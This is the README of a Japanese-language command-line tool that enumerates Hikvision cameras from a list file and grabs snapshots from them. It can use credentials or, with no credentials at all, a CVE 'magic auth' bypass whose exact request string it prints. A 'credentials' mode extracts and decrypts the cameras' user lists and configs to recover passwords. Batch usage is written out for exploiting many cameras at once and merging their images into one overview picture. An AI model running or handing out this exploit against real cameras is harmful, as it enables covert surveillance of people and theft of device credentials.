ファイルからHikvisionカメラを一覧表示し、有効な認証情報(HTTP BasicまたはDigest認証)またはCVE認証バイパスを使用して各カメラからスナップショットを取得するスタンドアロンツール。テスト用に別のホストでの実行を想定しています。
hostまたはhost:portを1つ)。--save-snapshot。--exploit)。--mergeで1枚の概要画像を生成。依存関係:requests、Pillow(--merge用)。requestspip install -r requirements.txt
1行に1台のカメラを記述したテキストファイルを作成します。#で始まるコメント行は無視されます。
# Example cameras.txt
192.168.1.100
192.168.1.101:80
nvr.local:8080
ファイルから読み込んだカメラを表示します(認証情報は不要)。
python hikvision_snapshots.py cameras.txt list
オプションの到達可能性チェック(各ホストへのHTTP GET):
python hikvision_snapshots.py cameras.txt list -v
各カメラでHikvisionスナップショット認証バイパスCVEをテストします。認証情報は不要です。
python hikvision_snapshots.py cameras.txt check
脆弱なカメラのスナップショットのみ保存:
python hikvision_snapshots.py cameras.txt check --save-snapshot -o ./vuln_snapshots
オプション:--timeout、--workers、-o(--save-snapshot用)。
CVE経由で各カメラから認証情報を抽出します(マジック認証でユーザーリストと設定ファイルを取得し、その後設定を復号)。ホストにOpenSSLが必要です。実行に認証情報は不要です。
python hikvision_snapshots.py cameras.txt credentials
オプション:--timeout、--workers。
あなたの認証情報が各カメラで機能するか検証します(スナップショットと同じエンドポイントを使用し、画像は保存しません)。
python hikvision_snapshots.py cameras.txt auth-check -u admin -p YourPassword
オプション:--timeout、--workers、--digest(スナップショットと同じ)。
カメラごとに1枚のスナップショットを取得しJPEGとして保存します。有効な認証情報または**--exploit**(CVE認証バイパス、認証情報不要)のいずれかを使用します。
# With credentials
python hikvision_snapshots.py cameras.txt snapshot -u admin -p YourPassword
# With CVE exploit (no credentials)
python hikvision_snapshots.py cameras.txt snapshot --exploit
snapshots/に保存されます(-oで変更可能)。hostまたはhost_portから生成されます(例:192_168_1_100.jpg、nvr_local_8080.jpg)。オプション:
--mergeを使用すると、各スナップショットの保存後、ツールは出力ディレクトリに、カメラごとに1セルとラベルを持つ単一のグリッド画像(overview.jpg)を生成します。Pillowが必要です(pip install Pillow)。
カスタム出力とDigest認証を使用した例:
python hikvision_snapshots.py cameras.txt snapshot -u admin -p secret -o ./images --digest --timeout 20
結合された概要画像を使用した例:
python hikvision_snapshots.py cameras.txt snapshot -u admin -p YourPassword --merge
# or with exploit (no creds):
python hikvision_snapshots.py cameras.txt snapshot --exploit --merge -o ./out
認証付きスナップショット(認証情報あり):スクリプトは次の順序で試行します – /ISAPI/Streaming/channels/1/picture、/ISAPI/Streaming/channels/101/picture、/onvif-http/snapshot。
CVE(check / --exploit): /onvif-http/snapshot?auth=YWRtaW46MTEK(マジック認証バイパス、認証情報なし)。
hikvision_snapshots.py、requirements.txt、およびお使いのカメラリストファイルをホストにコピーします。pip install -r requirements.txtlistを実行し、CVEにはcheck、認証情報にはauth-check、またはsnapshot(-u/-pまたは--exploit付き)を使用します。ホストがすべてのカメラのIPアドレスとポートにネットワークアクセスできることを確認してください。
| Option | Description | Default |
|---|
-u, --username | カメラのユーザー名 | --exploit以外は必須 |
-p, --password | カメラのパスワード | --exploit以外は必須 |
--exploit | CVEマジック認証バイパスを使用(認証情報不要) | オフ |
-o, --output-dir | スナップショット画像の保存先ディレクトリ | snapshots |
--timeout | HTTPタイムアウト(秒) | 15 |
--workers | 同時スナップショットリクエスト数 | 10 |
--digest | Basicの代わりにHTTP Digest認証を使用 | オフ |
--merge | 全スナップショットを1枚の概要画像に結合 | オフ |
--merge-columns | 結合時のグリッド列数(デフォルト:auto) | auto |